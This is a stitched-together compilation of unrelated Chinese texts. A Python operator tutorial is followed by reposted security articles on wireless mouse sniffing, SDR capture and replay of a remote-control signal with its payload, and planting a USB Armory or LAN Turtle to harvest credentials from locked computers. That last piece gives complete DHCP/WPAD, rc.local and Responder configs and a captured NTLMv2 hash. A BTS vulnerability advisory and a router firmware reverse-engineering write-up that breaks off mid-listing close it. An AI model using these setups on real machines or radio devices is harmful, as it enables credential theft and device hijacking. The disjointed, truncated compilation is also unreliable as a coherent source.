Python运算符 算术运算符 运算符 描述 + 相加 - 相减 * 相乘 / 相除 % 取模 ** 幂 // 整除 比较运算符 运算符 描述 == 等于 != 不等于 <> 不等于 > 大于 < 小于 >= 大于或等于 <= 小于或等于 赋值运算符 运算符 描述 = 赋值 += a += b 等价于 a = a + b -= a -= b 等价于 a = a - b *= a *= b 等价于 a = a * b /= a /= b 等价于 a = a / b %= a %= b 等价于 a = a % b **= a **= b 等价于 a = a ** b //= a //= b 等价于 a = a // b 逻辑运算符 运算符 描述 and 与关系,类似于C++的&& or 或关系,类似于C++的|| not 非,类似于C++的! 成员运算符 运算符 描述 in 在指定容器中找到返回True,否则返回False not in 在指定容器中未找到返回True,否则返回False 身份运算符 运算符 描述 is 两个变量引用自同一个对象则返回True not is 两个变量不是引用自同一个对象返回True 位运算符 运算符 描述 & 与运算 | 或运算 ^ 异或运算 ~ 取反运算 << 左移运算 >> 右移运算
Python 变量 python不用事先声明变量,赋值过程中就包含了变量声明和定义的过程 用“=”赋值,左边是变量名,右边是变量的值 数字 整数 int_var = 1 长整数 long_var = 1000L 浮点数 float_var = 1.0 复数 这个不讲了,用的不多。需要的时候自行查资料吧 字符串 #!/usr/bin/python # -*- coding: UTF-8 -*- str = 'Hello World!' print str # 输出完整字符串 print str[0] # 输出字符串中的第一个字符 print str[2:5] # 输出字符串中第三个至第五个之间的字符串 print str[2:] # 输出从第三个字符开始的字符串 print str * 2 # 输出字符串两次 print str + "TEST" # 输出连接的字符串 运行以上代码的结果: Hello World! H llo llo World! Hello World!Hello World! Hello World!TEST 列表 类似于C++或Java语言的数组,一个有序可变集合的容器。支持内置的基础数据结构甚至是列表,列表是可以嵌套的。不同的数据结构也可以放在同一个列表中,没有统一类型的限制。 #!/usr/bin/python # -*- coding: UTF-8 -*- list_a = ["str", 1, ["a", "b", "c"], 4] list_b = ["hello"] print list_a[0] print list_a[1:3] print list_a[1:] print list_b * 2 print list_a + list_b 运行以上代码: str [1, ['a', 'b', 'c']] [1, ['a', 'b', 'c'], 4] ['hello', 'hello'] ['str', 1, ['a', 'b', 'c'], 4, 'hello'] 元组 可以视为不可变的列表,在赋值之后就不能二次更改了。 #!/usr/bin/python # -*- coding: UTF-8 -*- tuple_a = ("str", 1, ["a", "b", "c"], 4) tuple_b = ("hello",) print tuple_a[0] print tuple_a[1:3] print tuple_a[1:] print tuple_b * 2 print tuple_a + tuple_b 字典 类似于C++语言的map,key-value键值对的集合,无序的容器。 #!/usr/bin/python # -*- coding: UTF-8 -*- dict_a = { "name": "Alan", "age": 24, 1: "level_1" } print dict_a["name"] print dict_a["age"] print dict_a[1] print "name" in dict_a print "xxx" in dict_a print dict_a.keys() print dict_a.values() print dict_a.items() 运行以上代码: Alan 24 level_1 True False [1, 'age', 'name'] ['level_1', 24, 'Alan'] [(1, 'level_1'), ('age', 24), ('name', 'Alan')]
0×00 前言 上半年的时候安全公司Bastille Networks(巴士底狱)安全研究员发现大多数无线鼠标和接收器之间的通信信号是不加密的,黑客可对一两百米范围内存在漏洞的无线键鼠进行嗅探甚至劫持,从而控制受害者电脑,向计算机中输入任何指令! 相关阅读:Mousejack Hacking : 如何利用MouseJack进行物理攻击 该漏洞在于通信数据不加密,导致数据可被嗅探、劫持。今天的分享不再使用Crazyradio 2.4Ghz nRF24LU1+ USB radio dongle,我们来试着使用gr-nordic开源项目+SDR硬件嗅探nordic 北欧公司的RF无线芯片数据。 0×01 系统安装 下载Ubuntu 16.04 0×02 搭建SDR开发环境 安装pip和pybombs apt-get update apt-get install git apt-get install python-pip pip install --upgrade pip pip install git+https://github.com/gnuradio/pybombs.git 获取GnuRadio的安装库 pybombs recipes add gr-recipes git+https://github.com/gnuradio/gr-recipes.git pybombs recipes add gr-etcetera git+https://github.com/gnuradio/gr-etcetera.git 安装SDR常用软件 pybombs install osmo-sdr rtl-sdr gnuradio hackrf airspy gr-iqbal libosmo-dsp gr-osmosdr gqrx 使用pybombs安装bladeRF会报错,这里选择源码编译: git clone https://github.com/Nuand/bladeRF cd bladeRF/host mkdir build cd build cmake ../ make sudo make install sudo ldconfig 0×03 编译gr-nordic gr-nordic:GNU Radio module and Wireshark dissector for the Nordic Semiconductor nRF24L Enhanced Shockburst protocol. git clone https://github.com/BastilleResearch/gr-nordic/ cd gr-nordic/ mkdir build cd build/ cmake ../ make sudo make install sudo ldconfig 0×04 安装WireShark apt-get install wireshark Ubuntu系统中,访问网络端口需要root权限,而wireshark的只是/usr/share/dumpcap的一个UI,/usr/share/dumpcap需要root权限,所以没法non-root用户无法读取网卡列表。解决办法使用sudo wireshark启动抓包,但使用root权限启动wireshark就不能使用lua脚本: 解决方案: sudo -s groupadd wireshark usermod -a -G wireshark $你的用户名 chgrp wireshark /usr/bin/dumpcap chmod 750 /usr/bin/dumpcap setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap getcap /usr/bin/dumpcap 当输出为: /usr/bin/dumpcap = cap_net_admin,cap_net_raw+eip 即为设置生效。注销登录状态或者重启系统启用配置。 0×05 数据包捕获 gr-nordic项目中include里边包含了nordic的tx、rx、API头文件,lib文件夹则是该项目依赖的一些库文件,example文件包含了Microsoft鼠标以及扫描、嗅探使用Nordic北欧芯片键鼠的利用脚本,wireshark文件夹中则是对扫描、嗅探到的数据包进行分析所需的lua脚本。 gr-nordic$ wireshark -X lua_script:wireshark/nordic_dissector.lua -i lo -k -f udp gr-nordic$cd example gr-nordic/example$./nordic_sniffer_scanner.py 0×06 演示视频 0×07 Thanks & refer gr-nordic: GNU Radio module and Wireshark dissector for the Nordic Semiconductor nRF24L Enhanced Shockburst protocol. 孤独小白:GNU Radio教程(一) Sniffing with Wireshark as a Non-Root User Bastille 巴士底狱安全研究员:Marc Newlin 、 Balint Seeber 原文地址:http://www.freebuf.com/articles/wireless/115440.html
0×01 信号捕获 在这篇文章中,我们将使用GnuRadio+SDR硬件对某品牌型号的无线跳蛋进行无线重放攻击的演示。 市面上常见的无线遥控工作的频段,通常工作在315Mhz、433Mhz,也有少数的会采用868Mhz.915Mhz这几个频点。 我们可以用电视棒、HackRF、BladeRF等SDR硬件来确定遥控的工作频率: 打开软件按下遥控器后,能在瀑布图上看到明显的反应: osmocom_fft -F -f 433e6 -s 4e6 gqrx 无线遥控中心频率:433870000 0×02 录制信号 SDR软件通常支持录制信号,可将遥控的信号保存为wav音频文件或者以.cfile、.raw格式保存。 这里用gnuradio-companion流图来实现信号录制以及信号重放。 wget http://www.0xroot.cn/SDR/signal-record.grc gnuradio-companion signal-record.grc 左侧osmocom Source模块调用SDR硬件,我们设置其中心频率为433.874MHz,采样率为2M: 右侧上边 QT GUI Sink模块将捕获到的信号在瀑布图上展示出来,右侧下边的File Sink将录制到的信号保存为/tmp/key.raw文件: 执行流图,按下遥控前: 按下遥控: 转到/tmp 缓存目录: 0×03 信号重放 接下来再用gnuradio-companion写个信号重放的流图: wget http://www.0xroot.cn/SDR/signal-replay.grc gnuradio-companion signal-replay.grc 左侧File Source调用捕获到的key.raw信号文件,osmocom Sink调用HackRF、BladeRF将信号发射出去,与此同时QT GUI Time Sink、QT GUI Frequency Sink模块分别在屏幕上显示时间轴(时间域)、频率幅度(频率域),执行流图: bingo! 0×04 演示视频 0×05 信号分析 inspectrum key.raw 信号分析&转码细节参考: 如何使用SDR+inspectrum逆向分析无线遥控信号 一文。 s = '' a = [0.333033, 0.326189, 0.0332124, 0.388094, 0.326704, 0.0154539, 0.322883, 0.0270275, 0.0150091, 0.443235, 0.362946, 0.027745, 0.430879, 0.443824, 0.0277048, 0.330736, 0.0290668, 0.0133217, 0.376686, 0.0123277, 0.00931546, 0.446231, 0.397617, 0.0162406, 0.447861, 0.0050071, 0.0109479, 0.389289, 0.0271959, 0.0138626, 0.32109, 0.0268736, 0.0129828, 0.401142, 0.326009, 0.0303488, 0.379368, 0.0229494, 0.0134011, 0.318115, 0.346288, 0.017666, 0.333818, 0.326769, 0.0141554, 0.341832, 0.0291055, 0.0153984, 0.446665, 0.399975, 0.024566, 0.316297, 0.0159851, 0.010876, 0.428384, 0.444201, 0.0214323, 0.376211, 0.00628675, 0.0105036, 0.44565, 0.0195615, 0.012549, 0.445242, 0.366523, 0.0225733, 0.324775, 0.0192127, 0.0134437, 0.318991, 0.381386, 0.0149852, 0.00882163, 0.447015] for i in a: if i > 0.1: s +='1' else: s +='0' python test.py 11011010011011010010011010010010011010011011010011010011010010011010011001 pip install bitstring` python import bitstring bitstring.BitArray(bin='11011010011011010010011010010010011010011011010011010011010010011010011001').tobytes() Automated RF/SDR Signal Analysis [Reverse Engineering] Payload: \x36\x9b\x49\xa4\x9a\x6d\x34\xd2\x69\x9 thanks for tresacton‘s help (GitHub) 0×06 Hacking The world with watch 德州仪器生产的EZ430 Chronos手表由于采用了MSP430芯片,该芯片支持发射1GHz以下频率的无线信号,覆盖市面上各种常见的无线遥控频率(315MHz、433MHz、868MHz、915MHz): 6.1 开发环境搭建 到 TI德州仪器官网下载:(需注册账号) CCS studio (Code Composer Studio ):http://processors.wiki.ti.com/index.php/Download_CCS FET-Pro430-Lite程序:http://www.elprotronic.com/download.html SmartRF Studio : http://www.ti.com.cn/tool/cn/smartrftm-studio 以及GitHub上面的 miChronos项目代码:http://github.com/jackokring/miChronos 百度网盘:https://pan.baidu.com/s/1hsse2Ni windows 7如果不是Service Pack 1 则需下载安装Windows 7 和 Windows Server 2008 R2 Service Pack 1 (KB976932)补丁,否则无法安装 Code Composer Studio 下载地址:https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=5842 搭建完开发环境便可将信号Payload烧录到手表中,使用手表控制设备。 0×07 Thanks&refer YouTuBe Michael Ossmann: Software Defined Radio with HackRF, Lesson 11: Replay 如何使用SDR+inspectrum逆向分析无线遥控信号 Automated RF/SDR Signal Analysis [Reverse Engineering] TI eZ430-Chronos Hacking quickstart The hackable watch: a wearable MSP430 MCU You can ring my bell! Adventures in sub-GHz RF land… TI EZ430 Chronos watch, quick guide / tutorial to hacking the firmware 原文地址:http://www.freebuf.com/articles/wireless/115289.html
NSA专业物理入侵设备——USB Armory,可解锁任意锁屏状态的下的Windows和Mac操作系统,含最新发布的Windows10、及较早的Mac OSX El Capitan / Mavericks,想知道原理是什么?进来看看吧! 首先,这原本是没有可能实现的,但事实是我真的办到了(相信我,因为不敢相信这是真的,我已经测试了很多次。) USB Ethernet + DHCP + Responder == 证书 论题: 如果我在电脑上插入一个伪装成USB以太网适配器的设备, 那么即使这个系统是锁定的,我也可以从系统中获取证书。(也许还能做更多的事情,但这篇文章已经太长,我们会在之后另外讨论。) 1.设备的设置 在文章一开始,我是用一个USB Armory (155美元)进行实验的,但在下文中,我也会向你们展示如何用Hak5 Turtle(49.99美元)实现这一目的。 我将会为你们提供设备本身的设置信息,下面还有一些可以为你们提供帮助的链接: USB Armory Bundle Debian/Jessie - https://github.com/inversepath/usbarmory/wiki/Starting#preparing-your-own-microsd-card Kali on USB Armory - http://docs.kali.org/kali-on-arm/kali-linux-on-usb-armory Resizing the SD partition - http://base16.io/?p=61 Hak5 LAN Turtle Turtle video guides and wiki: https://lanturtle.com/wiki/#!videos.md 2.工具 基本上,运用Laurent Gaffié的响应器可以完成捕获,所以你需要找到一个方法来将应答器映射到设备上,而Hak5 Turtle已经有这样的一个模块了: 首次使用时,你必须将模块设置为“Enable”,随后它会自行下载所有相关项和软件包。 然后你还需要一个opkg update和opkg install python-openssl,这样应答器就可以正确运行了。 至于USB Armory,你可以使用SCP、网络连接共享、USB主机/客户端适配器: 在Debian/Jessie的默认安装中没有安装Python,所以你必须解决所有的相关项(在Kali版本中不需要这个),并且需要互联网接入来执行以下内容: apt-get install -y python git python-pip python-dev screen sqlite3 pip install pycrypto git clone https://github.com/spiderlabs/responder 3.配置 USB Armory Bundle 首先,设置接口不是必需的,但是因为Armory的每个图像都有着不同的默认IP地址,设置它能够提高一致性, 因此它可以为下一步打下坚实的基础。 /etc/network/interfaces # interfaces(5) file used by ifup(8) and ifdown(8) # Include files from /etc/network/interfaces.d: source-directory /etc/network/interfaces.d auto usb0 allow-hotplug usb0 iface usb0 inet static address 192.168.2.201 netmask 255.255.255.0 gateway 192.168.2.1 下面,我们来建立DHCP服务器: /etc/dhcp/dhcpd.conf ddns-update-style none; option domain-name "domain.local"; option domain-name-servers 192.168.2.201; default-lease-time 60; max-lease-time 72; # If this DHCP server is the official DHCP server for the local # network, the authoritative directive should be uncommented. authoritative; # Use this to send dhcp log messages to a different log file (you also # have to hack syslog.conf to complete the redirection). log-facility local7; # wpad option local-proxy-config code 252 = text; # A slightly different configuration for an internal subnet. subnet 192.168.2.0 netmask 255.255.255.0 { range 192.168.2.1 192.168.2.2; option routers 192.168.2.201; 这里唯一的特殊配置是发送“Proxy Config” 选项到DHCP客户端。请注意这一行: 一篇关于WPAD的维基百科文章中提到:“DHCP的优先级高于DNS:如果DHCP提供了WPAD URL, DNS查找将不会执行。“ 接下来,我们需要设置自动运行。我们编辑了rc.local文件,让它来做这样的几件事: 清理掉所有DHCP租约,并启动DHCP服务器。也许还存在着某种更好的方式,但是因为这台“计算机”被插入和取出得非常频繁,文件在某种程度上可能会损坏,因此我们只是移除并重新添加了它。 在一个屏幕会话中启动响应器。这样我们就可以得到屏幕会话的记录,作为Sqlite3数据库和应答器创建的日志文件的备份。 /etc/rc.local #!/bin/sh -e # Clear leases rm -f /var/lib/dhcp/dhcpd.leases touch /var/lib/dhcp/dhcpd.leases # Start DHCP server /usr/sbin/dhcpd # Start Responder /usr/bin/screen -dmS responder bash -c 'cd /root/responder/; python Responder.py -I usb0 -f -w -r -d -F' exit 0 为了让屏幕会话的日志记录启用(可以让你迅速找出问题),你需要添加一个a .screenrc文件。最重要的部分是: /root/.screenrc # Logging deflog on logfile /root/logs/screenlog_$USER_.%H.%n.%Y%m%d-%0c:%s.%t.log 就是这样,现在你应该可以重启USB Armory了,然后开始在任何可以插入USB的地方获取凭证。 Hak5 LAN Turtle 现在,所有的事情几乎都已经完成了,唯一的区别在于opkg是你的软件包管理器: opkg update opkg install python-openssl screen 将符号链接移动到/ tmp /,这样日志会被保留下来 rm -rf /overlay/etc/turtle/Responder/logs /overlay/etc/rc.local文件略有不同 /overlay/etc/rc.local /etc/init.d/dnsmasq stop /usr/sbin/screen -dmS responder bash -c 'cd /overlay/etc/turtle/Responder; python Responder.py -I br-lan -f -w -r -d -F' 4.为什么它会奏效? 因为USB是即插即用的,这就意味着,即使一个系统是锁着的, USB仍然可以被安装。我认为,在新的操作系统中(Win10 / El Capitan),某些类型的设备可以在其锁定状态下进行安装时,是受到限制的,但是Ethernet/LAN肯定在白名单里。 即使你没有打开任何浏览器或应用程序,电脑也仍在不断地创造流量, 出于某种原因,大多数计算机会信任它们的本地网络。 网络偏好通常基于Windows上的“metrics”和OSX上metrics和“preference”的结合,但在默认情况下,“wired”和“newer/faster”总能成为赢家。 这意味着, 由于有了应答器,插入设备后,它很快变成了网关、DNS服务器、WPAD服务器等部分。 从插入锁定的工作站到获取到证书,平均需要大约13秒的时间,这完全取决于系统的状况。另外,我使用了inotify来观察Responder.db数据库内文件的改变,并关闭Armory。它还能通过LED给我一个已经获取到了证书的指示。 为此,你需要安装inotify-tools包,并将以下内容添加到therc.local本地文件: echo "Staring cred watch" >> /root/rc.log /usr/bin/screen -dmS notify bash -c 'while inotifywait -e modify /root/responder/Responder.db; do shutdown -h now; done' 5.最终结果: 你在视频中能看到Windows 10的锁定屏幕。当LED发出指示时,Armory被完全关闭, 证书已经得到了! 观察结果: root@wpad:~# sqlite3 /root/responder/Responder.db 'select * from responder' 2016-09-04 10:59:43|HTTP|NTLMv2|192.168.2.1||SITTINGDUCK\mubix||5EAEA2859C397D8AE48CA87F:01010000000001E9D23F49F7891F38965D80A0010000000000000000000000000000000900260048005400540050002F007800780066006600730062006E0070006300000000000000.... 步骤已完成。 在以下系统中测试成功: Windows 98 SE Windows 2000 SP4 Windows XP SP3 Windows 7 SP1 Windows 10 (企业版和家庭版) OSX El Capitan / Mavericks (我可以在其中得到证书 ,但是我还在测试这是不是一个偶然情况) 我还没有在Linux上测试过, 如果成功了的话,我会另外写一篇文章。 6.USB ARMORY与Hak5 LAN Turtle的比较 Armory更具通用性,是一种不错的用于发动攻击的方式。具有更多的存储空间(SD)和更快的处理器。 在SE攻击中,如果你试图插入一个设备,Hak5 LAN Turtle更容易完成任务。它可能不像Armory那样,在取得证书时有LED指示,但它有一个可以作为以太网端口的附加功能,因此你可以得到证书和一个shell。 原文地址:https://room362.com/post/2016/snagging-creds-from-locked-machines/
前言 在过去的几周时间里,我从多个方面对GSM的安全性进行了调查和研究,例如GSM通信协议中存在的漏洞。除此之外,我还对目前世界上应用最为广泛的BTS软件进行了安全审计。在这篇文章中,我将会给大家介绍一下我在这款开源产品中所发现的多个漏洞,这些漏洞将允许攻击者入侵基站收发信台(BTS),并远程控制它的信号收发模块。 背景知识 一个基站收发信台(BTS)是由软件和无线电设备组成的,它是智能手机连接GSM、UMTS、以及LTE网络时必不可少的关键组件。BTS主要分为基带单元、载频单元和控制单元三部分。基带单元主要用于话音和数据速率适配以及信道编码等;载频单元主要用于调制/解调与发射机/接收机间的耦合;控制单元则用于BTS的操作与维护。BTS中存储编码算法A5和密钥Kc,用于解密接收到的密文形式的用户数据和信令数据(包括解密)。 它相当于Wi-Fi网络中的无线接入点,它负责管理Um接口的通信过程。Um接口是MS(MobileStation,移动台)和BTS之间的接口,通过该接口,MS完成与网络侧的通信,完成分组数据传送、移动性管理、会话管理、无线资源管理等多方面的功能。Um接口是GSM/GPRS/EDGE网络中,MS与网络之间的接口,也被称为空中接口(AirInterface)。Um接口用于传输MS与网络之间的信令信息和业务信息。具体如图一所示: 图一:MS与BTS的连接 BTS的底层软件实际上是一个信号收发器,而它就是无线硬件设备的直接接口。它主要负责频率调谐,并处理GMSK(高斯最小移频键控)数据的调制与解调。简而言之,它主要负责的是将无线电波转化成数字信号。BTS其余逻辑单元的通信和同步操作都是由图二所示的三个UDP数据包负责处理的。 图二:信号收发模块以及用来与BTS其余逻辑单元进行通信的三个UDP数据包 其如上图所示,“ClockSocket”数据包主要负责进行时间同步;BTS会使用“CommandSocket”数据包来向信号收发器发送控制命令;最后,“DataSocket”数据包负责将GSM数据包从BTS通过无线电信号广播出去,然后接收返回的响应信息。其中,信号收发器模块中的“UDPSocket”类主要负责处理上述三个信道的通信过程。 我们的分析表明,目前大多数BTS软件所使用的都是同一个(或者极其相似的)收发器代码库。因此,基本上这些BTS软件都会受到相同漏洞的影响。恶意攻击者可以利用这些漏洞来远程控制信号收发器模块,从而影响BTS的正常功能。 不仅如此,攻击者还有可能向收发器模块发送GSM数据脉冲,然后对移动用户进行各种网络攻击,例如IMSI分离、加密降级、以及拒绝服务攻击等等。 为了让信号收发器模块能够接收并处理攻击者发送的信息,发送至数据信道套接字的UDP数据包必须遵循下列格式: 当信号收发器模块接收到了这些数据包之后,它会解码这些数据包,然后使用GMSK来进行信号调制。最终,不同内容的信号脉冲将会被发送到与之相连的移动台(MS)。 即便是下方列表中标注的产品只使用了GMS或者UMTS网络,但是它们的信号收发器模块(这是一个独立组件)本身却是基本相同的。所以我们推测,负责处理LTE连接的BTS软件同样也使用了类似的信号收发器代码。 受影响产品 -YateBTS<= 5.0.0 -OpenBTS<= 4.0.0 -OpenBTS-UMTS<= 1.0.0 -Osmo-TRX/Osmo-BTS<= 0.1.10 -以及其他使用了相同信号收发器代码的产品 相关厂商 -Legba股份有限公司(YateBTS) -RangeNetworks(OpenBTS和OpenBTS-UMTS) -OsmoCOM(Osmo-TRX和Osmo-BTS) 问题一:过度暴露的服务绑定 概述 这个漏洞存在于上述产品的网络库中,这个问题导致信号收发器的UDPsockets地址绑定到了0.0.0.0,但是这三个信号收发器的地址应该绑定到用户设置的地址上(默认为127.0.0.1)。这也就意味着,攻击者可以利用这些地址来与BTS系统进行连接,并从信号收发器中接收(发送)数据包。除此之外,访问这些暴露了UDP网络套接字的服务其安全性将无法得到保障,因为任何身份验证机制都无法保证这些服务的安全。 图三:三个信号收发器的套接字地址全部绑定到了地址0.0.0.0 影响 攻击者可以使用IP连接来发送UDP数据包,并获取BTS的所有功能。这也就意味着,攻击者可以实现远程控制、GSM流量劫持、获取用户的通信数据、DoS拒绝服务攻击,甚至还会发生更加糟糕的事情。 细节披露 我们可以在UDPSocket类的构造器中找到引起这个漏洞的根本原因。在源文件“CommonLibs/Sockets.cpp”中,你可以找到“UDPSocket::open”方法,而正是这个方法中的错误代码才导致了这个漏洞的存在。值得注意的是,所有受影响的产品中都包含有这份源文件。下面这段代码就是漏洞代码: 从上面的代码段中我们可以看到,系统将绑定的地址保存到了mDestination类的成员变量中,但是UDPSocket::open方法的实现方式却是这样的: 尽管UDPSocket类提供了一个构造参数来指定服务器所要绑定的IP地址,但是这部分数据却被代码忽略了。正如上图第272行代码所示,通信socket被绑定到了INADDR_ANY,然而并没有使用mDestination地址变量。 问题二:基于栈的远程缓冲区溢出 概述 攻击者可以通过向设备的控制信道发送一个较大的UDP数据包来引起栈缓冲区的溢出。 影响 攻击者可以实现远程代码执行(RCE)或者对设备发动拒绝服务(DoS)攻击。 细节披露 控制信道是由源文件Transceiver.cpp中的Transceiver::driveControl方法控制的。这部分代码如下所示: 注意代码中数据包的缓存空间,这部分空间存在于方法栈中,其大小被定义为100字节(MAX_PACKET_LENGTH)。 接下来,我们对源文件Sockets.cpp中声明的DatagramSocket::read方法(DatagramSocket类是UDPSocket类的父类)进行了分析,结果我们发现了下列信息: 我们可以看到,代码读取的是MAX_UDP_LENGTH所代表的长度,并非MAX_PACKET_LENGTH变量的值。而MAX_UDP_LENGTH的值是在Sockets.h源文件中定义的,如下图所示: 因此,攻击者只需要向信号收发器发送一个大小超过100字节的UDP数据包,就可以成功在目标设备上引起栈溢出。图四显示的是该漏洞所引发的错误调试信息: 图四:由于UDP数据包过大所导致的数据包切分错误 问题三:未经身份验证的远程控制 概述 控制信道并没有引入任何形式的身份验证机制。再加上‘问题一’使得其部分信息暴露在了外部网络中,所以恶意攻击者就可以利用这个漏洞来远程控制信号收发器模块。 影响 攻击者可以: -通过关闭模块来实现拒绝服务攻击。 -通过修改无线电信号频率来阻塞信号发送。 -通过“SETBSIC”命令远程劫持BTS。 细节披露 控制信道使用源文件Transceiver.cpp中的Transceiver::driveControl方法来处理UDP协议。该协议暴露的部分功能包括: -开启或关闭TRX模块:CMDPOWERON / CMD POWEROFF -更改TRX的无线频率:CMDRXTUNE frequency / CMD TXTUNE frequency -设置GSM信号的验证信息:CMDSETBSIC value 攻击者只需要向服务器的5701端口发送一个简单的UDP数据包,就可以远程执行上面这些 结论,缓解方案,以及建议 通过这篇文章,想必大家已经了解了这些代码漏洞和身份验证机制的缺乏将会如何影响上述的这些BTS产品了。而且不仅如此,攻击者甚至还可以利用这些漏洞来发动大规模的网络攻击。 我们强烈建议厂商赶紧采取下列的缓解措施,以提升相应产品的安全性能: 1. 更新你的BTS软件,如果收到了更新补丁推送,请尽快安装补丁程序。 2. 将用于控制操作和数据转换的socket地址绑定到本地接口(127.0.0.1)。 3. 防火墙:阻止流经端口5701(控制端口)和端口5702(数据端口)的所有外部网络流量。 4. 引入身份验证系统,以防止没有权限的攻击者通过BTS控制端口来登录服务器或访问网络。 5. 修复代码中的缓冲区大小问题。 6. 进行额外的代码审计。 * 参考来源:ZIMPERIUMzLabs
前言 这件事情还得从几个月前说起。有一名叫做Tao Sauvage的老外开开心心的来中国旅游。想着得带点中国的土特产回去,选了半天,选中了一款叫做必虎的无线路由器。 看着这个超低的价格和完美的做工,这个老外感觉自己赚大发了,简直是天赐礼物!249!买不了吃亏!249!买不了上当!必虎的英文翻译叫做“Tiger Will Power”,我擦!叼炸天的名字啊!虎之力路由器!感觉身体被掏空!但是因为是国产路由器,谷歌翻译也不准确,他也不懂中文。 怎么办呢?把路由器拆开研究一下看看吧!橙色的地方可以插入一个SD卡,而红色的地方是UART引脚。故事(漏洞),就是从这里开始的,然后以下的“他”将由第一人称来叙述。 提取路由器固件 废话不多说,直接拿BusPirate连接上这些引脚再说! 开启设备后查看自己的终端,返回了以下信息。 它说按下任意键继续。好吧,这个我随便按了键,然后看到了菜单设置。 ################################## # BHU Device bootloader menu # ################################## [1(t)] Upgrade firmware with tftp //通过tftp对固件进行升级 [2(h)] Upgrade firmware with httpd //通过httpd对固件进行升级 [3(a)] Config device aerver IP Address //设置设备服务器的IP地址 [4(i)] Print device infomation //打印设备信息 [5(d)] Device test //设备测试 [6(l)] License manager //许可证管理 [0(r)] Redevice //控制器 [ (c)] Enter to commad line (2) //按下c查看其它命令 先按下C发现它用的是U-boot,那么可以对其bootargs参数进行设置,这样就不再局限于init程序内了。 Please input cmd key: CMD> printenv bootargs bootargs=board=Urouter console=ttyS0,115200 root=31:03 rootfstype=squashfs,jffs2 init=/sbin/init(3) mtdparts=ath-nor0:256k(u-boot),64k(u-boot-env),1408k(kernel),8448k(rootfs),1408k(kernel2),1664k(rescure),2944kr),64k(cfg),64k(oem),64k(ART) CMD> setenv bootargs board=Urouter console=ttyS0,115200 rw rootfstype=squashfs,jffs2 init=/bin/sh(4) mtdparts=ath-nor0:256k(u-boot),64k(u-boot-env),1408k(kernel),8448k(rootfs),1408k(kernel2),1664k(rescure),2944kr),64k(cfg),64k(oem),64k(ART) CMD> boot 然后再使用printenv命令查看了U-boot的基本设置情况,然后发现只要引导顺序完成,就会运行“/sbin/init”,而这个二进制文件主要负责初始化路由器的Linux系统的。我们使用setenv命令把‘/sbin/init’ 和 ‘/bin/sh’替换一下,要不然是没有办法访问系统文件的。然后 BusyBox v1.19.4 (2015-09-05 12:01:45 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. # ls version upgrade sbin proc mnt init dev var tmp root overlay linuxrc home bin usr sys rom opt lib etc 千辛万苦,现在我已经可以通过shell命令访问路由器,并且提取固件。接下来我可以分析必虎路由器的通用网关接口和WEB界面了。当然,有很多种方式可以提取这个路由器的固件,我采用的是修改U-Boot参数开启网络,把全部的文件复制到我的电脑上。感兴趣的朋友可以看看这篇文章:《LinuxBootArgs》 逆向分析 现在我需要对这些文件进行整理。首先,我得知道哪些文件是属于web管理接口的,而下面这个是路由器的初始设置。 # cat /etc/rc.d/rc.local /* [omitted] */ mongoose -listening_ports 80 & /* [omitted] */ 这个Mongoose程序开启了80端口,很熟悉的端口啊!估计这个程序就是必虎路由器的WEB服务器程序了。功夫不负有心人,我还是找到了这个WEB程序的相关文档:《mongoose》。根据文档所示,Mongoose会把WEB目录下的所有文件解析为.cgi后缀。如下面所示。 # ls -al /usr/share/www/cgi-bin/ -rwxrwxr-x 1 29792 cgiSrv.cgi -rwxrwxr-x 1 16260 cgiPage.cgi drwxr-xr-x 2 0 .. drwxrwxr-x 2 52 . 这个路由器的WEB界面主要依赖于两个非常重要的文件。 cgiPage.cgi:这个文件主要是负责控制面板内的页面排序功能 cgiSrv.cgi:这个文件主要是负责后台管理的各个组件的功能 cgiSrv.cgi这个文件是最有意思的,它可以对路由器所有的设置进行更新,所以我打算先从它开始下手。 $ file cgiSrv.cgi cgiSrv.cgi: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked (uses shared libs), stripped 我使用IDA对其进行逆向分析。虽然这个文件已经剥离了所有的调试符合,包括函数名之类的,但是从main函数开始,这个文件变的有意思起来。 LOAD:00403C48 # int __cdecl main(int argc, const char **argv, const char **envp) LOAD:00403C48 .globl main LOAD:00403C48 main: # DATA XREF: _ftext+18|o /* [omitted] */ LOAD:00403CE0 la $t9, getenv LOAD:00403CE4 nop (6) # 检索请求方式 LOAD:00403CE8 jalr $t9 ; getenv (7) # arg0 = “REQUEST_METHOD” LOAD:00403CEC addiu $a0, $s0, (aRequest_method - 0x400000) # "REQUEST_METHOD" LOAD:00403CF0 lw $gp, 0x20+var_10($sp) LOAD:00403CF4 lui $a1, 0x40 (8) # arg0 = getenv(“REQUEST_METHOD”) LOAD:00403CF8 move $a0, $v0 LOAD:00403CFC la $t9, strcmp LOAD:00403D00 nop (9) # 检查请求方式是否为POST LOAD:00403D04 jalr $t9 ; strcmp (10) # arg1 = “POST” LOAD:00403D08 la $a1, aPost # "POST" LOAD:00403D0C lw $gp, 0x20+var_10($sp) (11) # 如果请求方式不是POST就进行跳转 LOAD:00403D10 bnez $v0, loc_not_post LOAD:00403D14 nop (12) # 如果请求方式是POST就调用handle_post LOAD:00403D18 jal handle_post LOAD:00403D1C nop /* [omitted] */ 同样的逻辑也试用于GET类型的请求。如果收到了GET类型的请求,那么会调用相关的函数,并且重命名为handle_get。让我们一起来看看handle_get函数部分。 上面这个模块流程图主要展示了程序内的“if {} else if {} else {}”判断流程。每个函数部分都会检查数据包是否是GET类型的。我们先来看看A模块吧。 /* [omitted] */ LOAD:00403B3C loc_403B3C: # CODE XREF: handle_get+DC|j LOAD:00403B3C la $t9, find_val (13) # arg1 = “file” LOAD:00403B40 la $a1, aFile # "file" (14) # 在URL内检索“file”参数的value LOAD:00403B48 jalr $t9 ; find_val (15) # arg0 = url LOAD:00403B4C move $a0, $s2 # s2 = URL LOAD:00403B50 lw $gp, 0x130+var_120($sp) (16) # 如果没有“?file=”参数,那么就跳转其他页面 LOAD:00403B54 beqz $v0, loc_not_file_op LOAD:00403B58 move $s0, $v0 (17) # 如果有“file”,那么调用handler LOAD:00403B5C jal get_file_handler LOAD:00403B60 move $a0, $v0 在A模块,handler_get函数会先检查在URL内的file参数,并且调用find_val,如果file参数出现在URL内,那么该函数会调用get_file_handler。 LOAD:00401210 get_file_handler: # CODE XREF: handle_get+140|p /* [omitted] */ LOAD:004012B8 loc_4012B8: # CODE XREF: get_file_handler+98j LOAD:004012B8 lui $s0, 0x41 